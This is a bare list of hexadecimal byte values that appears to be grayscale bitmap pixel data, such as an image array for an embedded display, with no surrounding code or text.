0X00, 0X00, 0X00, 0X00, 0X00, 0X00, 0X00, 0X00, 0X00, 0X00, 0X00, 0X00, 0X00, 0X00, 0X00, 0X00, 0X00, 0X00, 0X00, 0X00, 0X00, 0X00, 0X28, 0X60, 0X00, 0X00, 0X00, 0X00, 0X00, 0X00, 0X00, 0X00, 0X00, 0X00, 0X00, 0X00, 0X00, 0X00, 0X00, 0X00, 0X00, 0X00, 0X00, 0X00, 0X00, 0X00, 0X00, 0X00, 0X00, 0X00, 0X00, 0X00, 0X00, 0X00, 0X00, 0X00, 0X00, 0X00, 0X00, 0X00, 0X00, 0X00, 0X00, 0X00, 0X00, 0X00, 0X00, 0X00, 0X00, 0X00, 0X00, 0X00, 0X00, 0X00, 0X00, 0X00, 0X00, 0X00, 0X00, 0X00, 0X00, 0X00, 0X00, 0X00, 0X00, 0X00, 0X00, 0X00, 0X00, 0X00, 0X00, 0X00, 0X00, 0X00, 0X00, 0X00, 0X00, 0X00, 0X00, 0X00, 0X00, 0X00, 0X8A, 0X20, 0X0C, 0XAA, 0XAC, 0XAC, 0X3C, 0XCC, 0XCC, 0XCA, 0XAA, 0X88, 0X8A, 0X80, 0X00, 0X00, 0X00, 0X00, 0X00, 0X00, 0X00, 0X00, 0X00, 0X00, 0X00, 0X00, 0X00, 0X00, 0X00, 0X00, 0X00, 0X00, 0X00, 0X00, 0X00, 0X00, 0X00, 0X00, 0X00, 0X00, 0X00, 0X00, 0X00, 0X00, 0X00, 0X00, 0X00, 0X38, 0XAA, 0X00, 0X00, 0X00, 0X00, 0X00, 0X00, 0X00, 0X00, 0X00, 0X00, 0X00, 0X00, 0X00, 0X00, 0X00, 0X00, 0X00, 0X00, 0X00, 0X00, 0X00, 0X00, 0X00, 0X00, 0X00, 0X00, 0X00, 0X00, 0X00, 0X00, 0X00, 0X00, 0X00, 0X00, 0X00, 0X00, 0X00, 0X00, 0X00, 0X00, 0X00, 0X00, 0X00, 0X00, 0X00, 0X00, 0X00, 0X00, 0X00, 0X00, 0X00, 0X00, 0X00, 0X00, 0X00, 0X00, 0X00, 0X00, 0X00, 0X00, 0X00, 0X00, 0X00, 0X00, 0X00, 0X00, 0X00, 0X00, 0X00, 0X00, 0X00, 0X00, 0X00, 0X00, 0X00, 0X00, 0X00, 0X00, 0X00, 0X00, 0X5A, 0XCA, 0XAA, 0XA8, 0XAC, 0XCC, 0XCC, 0XCA, 0XA8, 0X66, 0X66, 0X85, 0X30, 0X00, 0X00, 0X00, 0X00, 0X00, 0X00, 0X00, 0X00, 0X00, 0X00, 0X00, 0X00, 0X00, 0X00, 0X00, 0X00, 0X00, 0X00, 0X00, 0X00, 0X00, 0X00, 0X00, 0X00, 0X00, 0X00, 0X00, 0X00, 0X00, 0X00, 0X00, 0X00, 0X08, 0X8A, 0XC0, 0X00, 0X00, 0X00, 0X00, 0X00, 0X00, 0X00, 0X00, 0X00, 0X00, 0X00, 0X00, 0X00, 0X00, 0X00, 0X00, 0X00, 0X00, 0X00, 0X00, 0X00, 0X00, 0X06, 0X00, 0X00, 0X00, 0X00, 0X00, 0X00, 0X00, 0X00, 0X00, 0X00, 0X00, 0X00, 0X00, 0X60, 0X00, 0X00, 0X00, 0X00, 0X00, 0X00, 0X00, 0X00, 0X00, 0X00, 0X00, 0X00, 0X00, 0X00, 0X00, 0X00, 0X00, 0X00, 0X00, 0X00, 0X00, 0X00, 0X00, 0X00, 0X00, 0X00, 0X00, 0X00, 0X00, 0X00, 0X00, 0X00, 0X00, 0X00, 0X00, 0X00, 0X00, 0X00, 0X00, 0X00, 0X00, 0X00, 0X00, 0X3A, 0X8A, 0X88, 0X88, 0XCC, 0XCC, 0XAA, 0XA6, 0X66, 0X56, 0X30, 0X00, 0X00, 0X00, 0X00, 0X00, 0X00, 0X00, 0X00, 0X00, 0X00, 0X00, 0X00, 0X00, 0X00, 0X00, 0X00, 0X00, 0X00, 0X00, 0X00, 0X00, 0X00, 0X00, 0X00, 0X00, 0X00, 0X00, 0X00, 0X00, 0X00, 0X00, 0X00, 0X00, 0X03, 0XA8, 0XAC, 0X30, 0X00, 0X00, 0X00, 0X00, 0X00, 0X00, 0X00, 0X00, 0X00, 0X00, 0X00, 0X00, 0X00, 0X00, 0X00, 0X00, 0X00, 0X00, 0X00, 0X00, 0X00, 0X00, 0X3A, 0X20, 0X00, 0X00, 0X00, 0X00, 0X00, 0X00, 0X00, 0X00, 0X00, 0X00, 0X00, 0X00, 0X82, 0X00, 0X00, 0X00, 0X00, 0X00, 0X00, 0X00, 0X00, 0X00, 0X00, 0X00, 0X00, 0X00, 0X00, 0X00, 0X00, 0X00, 0X00, 0X00, 0X00, 0X00, 0X00, 0X00, 0X00, 0X00, 0X00, 0X00, 0X00, 0X00, 0X00, 0X00, 0X00, 0X00, 0X00, 0X00, 0X00, 0X00, 0X00, 0X00, 0X00, 0X00, 0X00, 0X00, 0X3A, 0X88, 0X88, 0X68, 0XCA, 0XAA, 0X88, 0X65, 0X58, 0X30, 0X00, 0X00, 0X00, 0X00, 0X00, 0X00, 0X00, 0X00, 0X00, 0X00, 0X00, 0X00, 0X00, 0X00, 0X00, 0X00, 0X00, 0X00, 0X00, 0X00, 0X00, 0X00, 0X00, 0X00, 0X00, 0X00, 0X00, 0X00, 0X00, 0X00, 0X00, 0X00, 0X00, 0X00, 0X6A, 0X8A, 0XCA, 0X00, 0X00, 0X00, 0X00, 0X00, 0X00, 0X00, 0X00, 0X00, 0X00, 0X00, 0X00, 0X00, 0X00, 0X00, 0X00, 0X00, 0X00, 0X00, 0X00, 0X00, 0X00, 0X00, 0X36, 0XA0, 0X00, 0X00, 0X00, 0X00, 0X00, 0X00, 0X00, 0X00, 0X00, 0X00, 0X00, 0X02, 0X68, 0X00, 0X00, 0X00, 0X00, 0X00, 0X00, 0X00, 0X03, 0X68, 0XA0, 0X00, 0X00, 0X00, 0X00, 0X00, 0X00, 0X00, 0X00, 0X00, 0X00, 0X00, 0X00, 0X00, 0X00, 0X00, 0X00, 0X00, 0X00, 0X00, 0X00, 0X00, 0X00, 0X00, 0X02, 0X20, 0X00, 0X00, 0X28, 0X30, 0X00, 0X00, 0X00, 0X00, 0X06, 0X88, 0X66, 0X55, 0XAA, 0XA8, 0X86, 0X35, 0X80, 0X00, 0X00, 0X00, 0X00, 0X00, 0X00, 0X00, 0X00, 0X00, 0X00, 0X00, 0X00, 0X00, 0X00, 0X00, 0X00, 0X00, 0X00, 0X00, 0X00, 0X00, 0X00, 0X00, 0X00, 0X00, 0X00, 0X00, 0X00, 0X00, 0X00, 0X00, 0X00, 0X00, 0X00, 0X08, 0XAA, 0XAC, 0XF2, 0X00, 0X00, 0X00, 0X00, 0X00, 0X00, 0X00, 0X00, 0X00, 0X00, 0X00, 0X00, 0X00, 0X00, 0X00, 0X00, 0X00, 0X00, 0X00, 0X00, 0X00, 0X00, 0X00, 0X55, 0X88, 0X00, 0X00, 0X00, 0X00, 0X00, 0X00, 0X00, 0X00, 0X00, 0X00, 0X00, 0X00, 0X68, 0X30, 0X00, 0X00, 0X00, 0X00, 0X00, 0X03, 0X88, 0X8A, 0X20, 0X00, 0X00, 0X00, 0X00, 0X00, 0X00, 0X00, 0X00, 0X00, 0X00, 0X00, 0X00, 0X00, 0X00, 0X00, 0X00, 0X00, 0X00, 0X00, 0X00, 0X00, 0X03, 0X56, 0X53, 0X20, 0X00, 0X00, 0XAC, 0X80, 0X00, 0X00, 0X00, 0X00, 0X00, 0X38, 0X65, 0X33, 0X38, 0X86, 0X53, 0X36, 0X20, 0X00, 0X00, 0X00, 0X00, 0X00, 0X00, 0X00, 0X00, 0X00, 0X00, 0X00, 0X00, 0X00, 0X00, 0X00, 0X00, 0X00, 0X00, 0X00, 0X00, 0X00, 0X00, 0X00, 0X00, 0X00, 0X00, 0X00, 0X00, 0X00, 0X00, 0X00, 0X00, 0X00, 0X00, 0X6A, 0XAA, 0XCC, 0XC0, 0X00, 0X00, 0X00, 0X00, 0X00, 0X00, 0X00, 0X00, 0X00, 0X00, 0X00, 0X00, 0X00, 0X00, 0X00, 0X00, 0X00, 0X00, 0X00, 0X00, 0X00, 0X00, 0X00, 0X35, 0X5A, 0XA0, 0X00, 0X00, 0X00, 0X00, 0X00, 0X00, 0X00, 0X00, 0X00, 0X00, 0X00, 0X65, 0XA0, 0X00, 0X00, 0X00, 0X00, 0X00, 0X58, 0X88, 0XAA, 0X00, 0X00, 0X00, 0X00, 0X00, 0X00, 0X00, 0X00, 0X00, 0X00, 0X00, 0X00, 0X00, 0X00, 0X00, 0X00, 0X00, 0X00, 0X00, 0X00, 0X00, 0X25, 0X88, 0X86, 0X53, 0X20, 0X00, 0X00, 0X3A, 0X82, 0X00, 0X00, 0X00, 0X00, 0X00, 0X00, 0X3A, 0XCA, 0X88, 0X88, 0X53, 0X35, 0X00, 0X00, 0X00, 0X00, 0X00, 0X00, 0X00, 0X22, 0X00, 0X3A, 0X00, 0X00, 0X00, 0X00, 0X00, 0X00, 0X00, 0X00, 0X00, 0X00, 0X00, 0X00, 0X00, 0X00, 0X00, 0X00, 0X00, 0X00, 0X00, 0X00, 0X00, 0X00, 0X00, 0X00, 0X02, 0XAA, 0XAC, 0XCF, 0X30, 0X00, 0X00, 0X00, 0X00, 0X00, 0X00, 0X03, 0X68, 0XAA, 0X88, 0X52, 0X00, 0X00, 0X00, 0X00, 0X00, 0X00, 0X00, 0X00, 0X00, 0X00, 0X00, 0X00, 0X26, 0X58, 0XAA, 0X00, 0X00, 0X00, 0X00, 0X00, 0X00, 0X00, 0X00, 0X00, 0X00, 0X00, 0X65, 0X8A, 0X00, 0X00, 0X00, 0X00, 0X05, 0X68, 0X8A, 0XC3, 0X00, 0X00, 0X00, 0X00, 0X00, 0X00, 0X00, 0X00, 0X00, 0X00, 0X00, 0X00, 0X00, 0X00, 0X00, 0X00, 0X00, 0X00, 0X00, 0X00, 0X06, 0XAA, 0X88, 0X88, 0X88, 0X82, 0X00, 0X00, 0X02, 0X88, 0X63, 0X20, 0X00, 0X00, 0X33, 0X33, 0X3C, 0XCA, 0XCC, 0XAC, 0XCC, 0XA8, 0X58, 0X02, 0X8C, 0XCC, 0XCC, 0XCC, 0XA8, 0X30, 0X05, 0X3F, 0XC6, 0X20, 0X00, 0X00, 0X00, 0X00, 0X00, 0X03, 0X6A, 0XA8, 0X65, 0X32, 0X00, 0X00, 0X00, 0X00, 0X00, 0X00, 0X00, 0X00, 0X00, 0X00, 0X00, 0X00, 0X08, 0XAA, 0XAC, 0XCF, 0X00, 0X00, 0X20, 0X00, 0X00, 0X00, 0X38, 0X88, 0X88, 0X88, 0X8A, 0XAC, 0XA6, 0X20, 0X00, 0X00, 0X00, 0X00, 0X00, 0X00, 0X00, 0X00, 0X00, 0X00, 0X05, 0X63, 0X8A, 0XC3, 0X00, 0X00, 0X00, 0X00, 0X00, 0X00, 0X00, 0X00, 0X00, 0X00, 0X58, 0X5A, 0X80, 0X00, 0X00, 0X00, 0X06, 0X86, 0XAA, 0XC0, 0X00, 0X00, 0X00, 0X00, 0X00, 0X00, 0X00, 0X00, 0X00, 0X00, 0X00, 0X00, 0X00, 0X00, 0X00, 0X00, 0X00, 0X00, 0X00, 0X02, 0X8A, 0XAA, 0XA8, 0XAC, 0XCA, 0X83, 0X00, 0X00, 0X00, 0X00, 0X23, 0X33, 0X33, 0X3A, 0X88, 0X63, 0X33, 0X33, 0X88, 0XAC, 0XCC, 0XFF, 0XFF, 0XA8, 0X20, 0X00, 0X00, 0X00, 0X00, 0X00, 0X08, 0X58, 0XFF, 0XCC, 0XCA, 0X83, 0X00, 0X00, 0X06, 0XCC, 0XA8, 0XCC, 0XCC, 0X63, 0X00, 0X00, 0X00, 0X00, 0X00, 0X00, 0X00, 0X00, 0X00, 0X00, 0X00, 0X00, 0X2A, 0XAA, 0XCC, 0XFC, 0X00, 0X02, 0X36, 0X32, 0X00, 0X38, 0X65, 0X55, 0X55, 0X55, 0X55, 0X55, 0X8A, 0XCA, 0X60, 0X00, 0X00, 0X00, 0X00, 0X00, 0X00, 0X00, 0X00, 0X00, 0X03, 0X66, 0X38, 0XAC, 0XA0, 0X00, 0X00, 0X00, 0X00, 0X00, 0X00, 0X00, 0X00, 0X00, 0X28, 0X58, 0XC6, 0X00, 0X00, 0X00, 0X36, 0X86, 0XAC, 0XC0, 0X00, 0X00, 0X00, 0X00, 0X00, 0X00, 0X00, 0X00, 0X00, 0X00, 0X00, 0X00, 0X00, 0X00, 0X00, 0X00, 0X00, 0X00, 0X00, 0X2A, 0XAA, 0XCA, 0XAC, 0XCC, 0XCA, 0X83, 0X00, 0X00, 0X00, 0X00, 0X00, 0X00, 0X00, 0X8A, 0X88, 0X86, 0X55, 0X36, 0X88, 0X66, 0X88, 0XCF, 0XFF, 0XF3, 0X00, 0X00, 0X00, 0X00, 0X00, 0X00, 0X02, 0XA6, 0X35, 0X68, 0X8A, 0XCC, 0XA5, 0X00, 0XAC, 0XAA, 0X8F, 0XFC, 0X50, 0X00, 0X00, 0X00, 0X00, 0X00, 0X00, 0X00, 0X00, 0X00, 0X00, 0X00, 0X00, 0X00, 0X5A, 0XAA, 0XCC, 0XFA, 0X00, 0X03, 0X58, 0X88, 0X88, 0X30, 0X00, 0X00, 0X00, 0X02, 0X23, 0X55, 0X65, 0X58, 0XAC, 0XA3, 0X00, 0X00, 0X00, 0X00, 0X00, 0X00, 0X00, 0X00, 0X00, 0X36, 0X85, 0X6A, 0XCC, 0X80, 0X00, 0X00, 0X00, 0X00, 0X00, 0X00, 0X00, 0X00, 0X08, 0X85, 0XAC, 0X80, 0X00, 0X00, 0X36, 0X86, 0XAC, 0XC0, 0X00, 0X00, 0X00, 0X00, 0X00, 0X00, 0X00, 0X00, 0X00, 0X00, 0X00, 0X00, 0X00, 0X00, 0X00, 0X00, 0X00, 0X00, 0X02, 0XAC, 0XAC, 0XCC, 0XCC, 0XCC, 0XAA, 0X83, 0X30, 0X00, 0X00, 0X00, 0X00, 0X00, 0X00, 0X2C, 0XAA, 0X88, 0X66, 0X8A, 0X88, 0X65, 0X55, 0X63, 0X52, 0X52, 0X00, 0X00, 0X00, 0X00, 0X00, 0X00, 0X00, 0X06, 0X63, 0X33, 0X33, 0X23, 0X8C, 0X55, 0X88, 0X86, 0XCC, 0XA3, 0X00, 0X00, 0X00, 0X00, 0X00, 0X00, 0X00, 0X00, 0X00, 0X00, 0X00, 0X00, 0X00, 0X00, 0X8A, 0XAA, 0XCC, 0XFA, 0X00, 0X05, 0X68, 0XAA, 0XAA, 0XAA, 0X82, 0X00, 0X00, 0X00, 0X00, 0X00, 0X23, 0X56, 0X66, 0XAA, 0X86, 0X20, 0X00, 0X00, 0X00, 0X00, 0X00, 0X00, 0X00, 0X05, 0X68, 0X65, 0X8A, 0XCC, 0XA2, 0X00, 0X00, 0X00, 0X00, 0X00, 0X00, 0X00, 0X02, 0XAA, 0X6C, 0XC8, 0X00, 0X00, 0X36, 0X86, 0XAC, 0XC0, 0X00, 0X00, 0X00, 0X00, 0X02, 0X23, 0X22, 0X23, 0X32, 0X20, 0X00, 0X00, 0X00, 0X00, 0X00, 0X00, 0X00, 0X00, 0X28, 0XCA, 0XCC, 0XCC, 0XCC, 0XCC, 0XAA, 0X63, 0X30, 0X00, 0X00, 0X00, 0X00, 0X00, 0X00, 0X08, 0XCA, 0XAA, 0X86, 0XAA, 0X88, 0X88, 0X66, 0X80, 0X00, 0X28, 0X52, 0X00, 0X00, 0X00, 0X00, 0X00, 0X00, 0X00, 0X02, 0X33, 0X33, 0X33, 0X36, 0X83, 0X56, 0X58, 0XFC, 0X50, 0X00, 0X00, 0X00, 0X00, 0X00, 0X00, 0X00, 0X00, 0X00, 0X00, 0X00, 0X00, 0X00, 0X00, 0XAA, 0XAA, 0XCC, 0XFA, 0X00, 0X06, 0X88, 0XAC, 0XCC, 0XCA, 0XAA, 0X60, 0X00, 0X00, 0X00, 0X00, 0X00, 0X02, 0X36, 0X6A, 0XC8, 0X86, 0X30, 0X00, 0X00, 0X00, 0X00, 0X00, 0X00, 0X00, 0X36, 0X68, 0X56, 0XAA, 0XCC, 0XC6, 0X20, 0X00, 0X00, 0X00, 0X00, 0X00, 0X00, 0X5A, 0XA8, 0XCF, 0XC0, 0X00, 0X26, 0X86, 0X8A, 0XC3, 0X00, 0X00, 0X00, 0X38, 0X88, 0X88, 0X88, 0X88, 0X88, 0X88, 0X66, 0X65, 0X53, 0X33, 0X22, 0X22, 0X22, 0X68, 0X8C, 0XCC, 0XCC, 0XCC, 0XCC, 0XCA, 0XA8, 0X53, 0X20, 0X00, 0X00, 0X00, 0X00, 0X00, 0X00, 0X0C, 0XCC, 0XCC, 0XCA, 0XAC, 0XAA, 0X86, 0X88, 0XA0, 0X00, 0X00, 0X58, 0XA8, 0X30, 0X00, 0X00, 0X00, 0X00, 0X05, 0X8A, 0XAA, 0XAA, 0X88, 0X52, 0X65, 0X33, 0X3C, 0XCC, 0X00, 0X00, 0X00, 0X00, 0X00, 0X00, 0X00, 0X00, 0X00, 0X00, 0X00, 0X00, 0X00, 0X00, 0X00, 0XAA, 0XCA, 0XCC, 0XFA, 0X00, 0X06, 0X88, 0X8C, 0XCC, 0XCC, 0XCA, 0XA8, 0X00, 0X00, 0X00, 0X00, 0X00, 0X00, 0X00, 0X35, 0XAC, 0XA6, 0X56, 0X30, 0X00, 0X00, 0X00, 0X00, 0X00, 0X00, 0X02, 0X66, 0X88, 0X66, 0X8A, 0XCC, 0XCC, 0X83, 0X00, 0X00, 0X00, 0X00, 0X00, 0X08, 0XCA, 0X8C, 0XCF, 0X30, 0X03, 0X68, 0X5A, 0XAC, 0X00, 0X00, 0X00, 0X88, 0X88, 0X8A, 0XAA, 0XAA, 0XAA, 0XAA, 0XA8, 0X88, 0X88, 0X88, 0X66, 0X55, 0X8A, 0X88, 0XAC, 0XCC, 0XCC, 0XCC, 0XCC, 0XCA, 0XA8, 0X62, 0X30, 0X00, 0X00, 0X00, 0X00, 0X00, 0X00, 0X02, 0XCF, 0XCF, 0XCC, 0XAC, 0XCA, 0XAA, 0X88, 0XA5, 0X00, 0X00, 0X00, 0X02, 0X58, 0X20, 0X00, 0X00, 0X02, 0X8A, 0XAC, 0XCC, 0XFF, 0XCC, 0XCA, 0X63, 0X33, 0XCF, 0XC3, 0X00, 0X00, 0X00, 0X00, 0X00, 0X00, 0X00, 0X00, 0X00, 0X00, 0X00, 0X00, 0X00, 0X00, 0X00, 0X8A, 0XCA, 0XCC, 0XCF, 0X00, 0X03, 0XAA, 0X8A, 0XCC, 0XCC, 0XCC, 0XCC, 0X20, 0X00, 0X00, 0X00, 0X00, 0X00, 0X00, 0X00, 0X3A, 0XCA, 0X85, 0X55, 0X30, 0X00, 0X00, 0X00, 0X00, 0X00, 0X00, 0X03, 0X66, 0X88, 0X65, 0X68, 0XAA, 0XCC, 0XCC, 0X86, 0X30, 0X00, 0X00, 0X00, 0X6C, 0XA8, 0XCC, 0XFC, 0X00, 0X56, 0X66, 0XAC, 0X80, 0X00, 0X00, 0X8A, 0XAA, 0XAA, 0XAA, 0XAA, 0XAA, 0XAA, 0XAA, 0XAA, 0XAA, 0X88, 0X86, 0X6A, 0XAA, 0XAA, 0XCC, 0XCC, 0XCC, 0XCC, 0XCC, 0XAA, 0X88, 0X53, 0X20, 0X00, 0X00, 0X00, 0X00, 0X00, 0X00, 0X00, 0X00, 0X03, 0XCC, 0XA5, 0XCC, 0XCA, 0XA8, 0X8C, 0X50, 0X00, 0X00, 0X00, 0X00, 0X00, 0X00, 0X00, 0X08, 0XAC, 0XCF, 0XA3, 0X33, 0X56, 0XAA, 0X85, 0X8C, 0XCA, 0X82, 0X22, 0X00, 0X00, 0X00, 0X00, 0X00, 0X00, 0X00, 0X00, 0X00, 0X00, 0X00, 0X00, 0X00, 0X00, 0X6A, 0XCA, 0XCC, 0XCF, 0X20, 0X00, 0X8A, 0XAA, 0XAC, 0XCF, 0XCC, 0XCC, 0X50, 0X00, 0X00, 0X00, 0X00, 0X00, 0X00, 0X00, 0X00, 0X8C, 0XAA, 0X83, 0X55, 0X30, 0X00, 0X00, 0X00, 0X00, 0X00, 0X00, 0X03, 0X66, 0X88, 0X86, 0X56, 0X8A, 0XAA, 0XAA, 0XAA, 0XAA, 0X86, 0X53, 0X28, 0XCC, 0X8A, 0XCF, 0XFA, 0X23, 0X55, 0X6A, 0XAA, 0X00, 0X00, 0X68, 0XAA, 0XAA, 0XAA, 0XAA, 0XAC, 0XCC, 0XCC, 0XCA, 0XAA, 0XA8, 0X88, 0XAC, 0XAC, 0XAA, 0XCC, 0XCC, 0XCC, 0XCC, 0XCC, 0XAA, 0X88, 0X52, 0X30, 0X00, 0X00, 0X00, 0X00, 0X00, 0X00, 0X00, 0X00, 0X00, 0X00, 0X00, 0XCC, 0XAC, 0XCA, 0XA8, 0XAA, 0X20, 0X00, 0X00, 0X00, 0X00, 0X00, 0X00, 0X02, 0X8A, 0X80, 0X05, 0X8A, 0XAA, 0XA8, 0XAC, 0X88, 0X66, 0X88, 0XAA, 0XAA, 0XA8, 0X52, 0X00, 0X00, 0X00, 0X00, 0X00, 0X00, 0X00, 0X00, 0X00, 0X00, 0X00, 0X3C, 0XCA, 0XAC, 0XCF, 0XA0, 0X00, 0X2A, 0XAA, 0XAA, 0XCC, 0XCC, 0XCC, 0X30, 0X00, 0X00, 0X00, 0X00, 0X00, 0X00, 0X00, 0X00, 0X03, 0XCC, 0XA8, 0X53, 0X65, 0X32, 0X00, 0X00, 0X00, 0X00, 0X00, 0X00, 0X02, 0X56, 0X66, 0X88, 0X65, 0X55, 0X68, 0X88, 0X88, 0X88, 0X88, 0X88, 0X8A, 0XCA, 0X8C, 0XCF, 0XFA, 0X63, 0X35, 0X8A, 0XA3, 0X00, 0X08, 0XAA, 0XAA, 0XAA, 0XAC, 0XCC, 0XCC, 0XCC, 0XCC, 0XCA, 0XA8, 0X8A, 0XCC, 0XCC, 0XCC, 0XCC, 0XCC, 0XCC, 0XCC, 0XCC, 0XAA, 0X88, 0X33, 0X30, 0X00, 0X00, 0X00, 0X00, 0X00, 0X00, 0X00, 0X00, 0X00, 0X00, 0X00, 0X3F, 0XCC, 0XCC, 0XAA, 0X88, 0XAA, 0X00, 0X00, 0X00, 0X00, 0X00, 0X00, 0X00, 0X00, 0X00, 0X8A, 0XCC, 0XA3, 0X00, 0X0F, 0XCA, 0X86, 0X8A, 0X88, 0X88, 0XAA, 0XAA, 0XA8, 0X32, 0X00, 0X00, 0X00, 0X00, 0X00, 0X00, 0X00, 0X00, 0X00, 0X0C, 0XCC, 0XAC, 0XCC, 0XF0, 0X00, 0X00, 0X8A, 0XAA, 0XAA, 0XCC, 0XCA, 0X02, 0X35, 0X66, 0X88, 0X88, 0X88, 0X88, 0X88, 0X86, 0X53, 0X6C, 0XCA, 0XA8, 0X35, 0X65, 0X32, 0X00, 0X00, 0X00, 0X00, 0X00, 0X00, 0X00, 0X02, 0X33, 0X35, 0X55, 0X53, 0X33, 0X35, 0X56, 0X68, 0X86, 0X66, 0X8C, 0XC8, 0X8A, 0XCC, 0XFC, 0XA5, 0X36, 0X8A, 0XA5, 0X00, 0X88, 0XAA, 0XCC, 0XCC, 0XCC, 0XCC, 0XCC, 0XCC, 0XCC, 0XA8, 0XAC, 0XCC, 0XCC, 0XCC, 0XCC, 0XCC, 0XCC, 0XCC, 0XCA, 0XAA, 0X50, 0X02, 0X20, 0X00, 0X00, 0X00, 0X00, 0X00, 0X00, 0X00, 0X00, 0X00, 0X00, 0X00, 0X02, 0XCF, 0XCC, 0XCA, 0XAA, 0XAA, 0X00, 0X00, 0X00, 0X00, 0X00, 0X00, 0X00, 0X00, 0X02, 0XAA, 0XCA, 0X00, 0X00, 0X8C, 0XA8, 0XC8, 0X35, 0XAC, 0XA8, 0X32, 0X58, 0XAA, 0XAA, 0XA6, 0X20, 0X00, 0X00, 0X00, 0X00, 0X00, 0X00, 0X00, 0X06, 0XCC, 0XAC, 0XCC, 0XFC, 0X00, 0X00, 0X02, 0X6A, 0XAA, 0XAA, 0X88, 0XAA, 0XAC, 0XCC, 0XAA, 0XAA, 0XAA, 0XAA, 0XAA, 0XA8, 0X88, 0X55, 0XAA, 0XAA, 0XA8, 0X8A, 0XAC, 0XCC, 0XCF, 0XFF, 0XFF, 0XFF, 0XFF, 0XFF, 0XFF, 0XFC, 0XCC, 0XCC, 0XCA, 0XAA, 0X88, 0X86, 0X53, 0X33, 0X33, 0X33, 0X8A, 0XA8, 0X8A, 0XCC, 0XCC, 0XCA, 0X85, 0X58, 0X86, 0X35, 0X8A, 0XAC, 0XAA, 0XCC, 0XCC, 0XCC, 0XCC, 0XCC, 0XCA, 0XAC, 0XCC, 0XCC, 0XCC, 0XCC, 0XCC, 0XCC, 0XCC, 0XCA, 0XA2, 0X00, 0X00, 0X20, 0X00, 0X00, 0X00, 0X00, 0X00, 0X00, 0X00, 0X00, 0X00, 0X00, 0X00, 0X00, 0X00, 0X3A, 0XCC, 0XCC, 0XA2, 0X00, 0X00, 0X00, 0X00, 0X00, 0X00, 0X00, 0X00, 0X00, 0X28, 0XAC, 0X30, 0X2C, 0XFC, 0XA3, 0XAC, 0XA3, 0X58, 0XCC, 0XA5, 0X00, 0X03, 0X8A, 0XCC, 0XCA, 0X52, 0X00, 0X00, 0X00, 0X00, 0X00, 0X00, 0X00, 0XCC, 0XCA, 0XCC, 0XCF, 0X60, 0X00, 0X02, 0X23, 0X68, 0X88, 0XAA, 0XAA, 0XAA, 0XAA, 0X88, 0X86, 0X66, 0X65, 0X55, 0X55, 0X56, 0X88, 0X8C, 0XCC, 0XCC, 0XFF, 0XFF, 0XFF, 0XFF, 0XFF, 0XCC, 0XCC, 0XCC, 0XCC, 0XCC, 0XCF, 0XFC, 0XCC, 0XCC, 0XCC, 0XCC, 0XCC, 0XCC, 0XAA, 0X88, 0X86, 0X55, 0X8A, 0XAA, 0X88, 0XAC, 0XCC, 0XCC, 0XCA, 0X86, 0X66, 0X66, 0X8A, 0XAA, 0XAC, 0XCC, 0XCC, 0XCC, 0XCC, 0XCC, 0XCC, 0XCF, 0XCC, 0XCC, 0XCC, 0XCC, 0XCC, 0XCC, 0XAA, 0X00, 0X00, 0X03, 0X30, 0X00, 0X00, 0X00, 0X00, 0X00, 0X00, 0X00, 0X00, 0X00, 0X00, 0X00, 0X00, 0X00, 0X00, 0X02, 0X20, 0X00, 0X00, 0X00, 0X00, 0X00, 0X00, 0X00, 0X00, 0X00, 0X3A, 0XA8, 0X68, 0XAC, 0XFF, 0XCC, 0X85, 0X3C, 0XC6, 0X56, 0X8C, 0XCA, 0X30, 0X00, 0X02, 0X6A, 0XCC, 0XCC, 0X83, 0X00, 0X00, 0X00, 0X00, 0X00, 0X00, 0X5C, 0XCC, 0XAC, 0XCC, 0XF3, 0X25, 0X66, 0X88, 0X88, 0X88, 0X86, 0X33, 0X22, 0X00, 0X00, 0X00, 0X00, 0X00, 0X00, 0X38, 0XAA, 0XCC, 0XCC, 0XCC, 0XCC, 0XCC, 0XCC, 0XCC, 0XCC, 0XCC, 0XCC, 0XCC, 0XCC, 0XCC, 0XCC, 0XCC, 0XCC, 0XCC, 0XCC, 0XCC, 0XAC, 0XCC, 0XCC, 0XAA, 0XAA, 0XAA, 0X88, 0X86, 0X88, 0XAA, 0X86, 0X68, 0XAA, 0XCC, 0XCA, 0XA8, 0X86, 0X58, 0XAA, 0XAC, 0XCC, 0XCC, 0XCC, 0XCC, 0XCC, 0XCF, 0XFF, 0XFF, 0XCC, 0XCC, 0XCC, 0XCC, 0XCA, 0XA3, 0X00, 0X00, 0X03, 0X20, 0X00, 0X00, 0X00, 0X00, 0X00, 0X00, 0X00, 0X00, 0X00, 0X00, 0X00, 0X00, 0X00, 0X00, 0X00, 0X00, 0X00, 0X00, 0X00, 0X00, 0X00, 0X00, 0X00, 0X00, 0X02, 0X8A, 0XCC, 0XFF, 0XFC, 0XCC, 0XC8, 0X53, 0X3A, 0XC8, 0X66, 0X88, 0XCC, 0X80, 0X00, 0X00, 0X00, 0X3A, 0XCC, 0XCC, 0XA6, 0X20, 0X00, 0X00, 0X00, 0X00, 0X08, 0XCC, 0XAA, 0XCC, 0XCF, 0X85, 0X65, 0X53, 0X32, 0X00, 0X00, 0X00, 0X00, 0X00, 0X00, 0X00, 0X00, 0X36, 0XAA, 0XAA, 0XAC, 0XCC, 0XAA, 0XAA, 0XCC, 0XCC, 0XFF, 0XFF, 0XFF, 0XFF, 0XFF, 0XFF, 0XFF, 0XFF, 0XFF, 0XFF, 0XFF, 0XFF, 0XFC, 0XCC, 0XCC, 0XCC, 0XAA, 0XAA, 0X88, 0X88, 0X88, 0X88, 0X86, 0X68, 0X88, 0XA8, 0X86, 0X68, 0X8A, 0XA8, 0X88, 0X65, 0X58, 0X8C, 0XFC, 0XCC, 0XCC, 0XCC, 0XCC, 0XCF, 0XFF, 0XFF, 0XCC, 0XCC, 0XCC, 0XCC, 0XCA, 0XA0, 0X00, 0X00, 0X03, 0X30, 0X00, 0X00, 0X00, 0X00, 0X00, 0X00, 0X00, 0X00, 0X00, 0X00, 0X00, 0X00, 0X00, 0X00, 0X00, 0X00, 0X00, 0X00, 0X00, 0X00, 0X00, 0X00, 0X00, 0X00, 0X00, 0X8A, 0XAC, 0XCC, 0XCC, 0XCA, 0X85, 0X53, 0X3C, 0XC6, 0XA8, 0X88, 0XAC, 0XA3, 0X00, 0X00, 0X00, 0X00, 0X28, 0XCC, 0XCC, 0XAA, 0X83, 0X22, 0X00, 0X00, 0X23, 0XCC, 0XCA, 0XAC, 0XCC, 0XF8, 0X00, 0X00, 0X00, 0X00, 0X00, 0X00, 0X00, 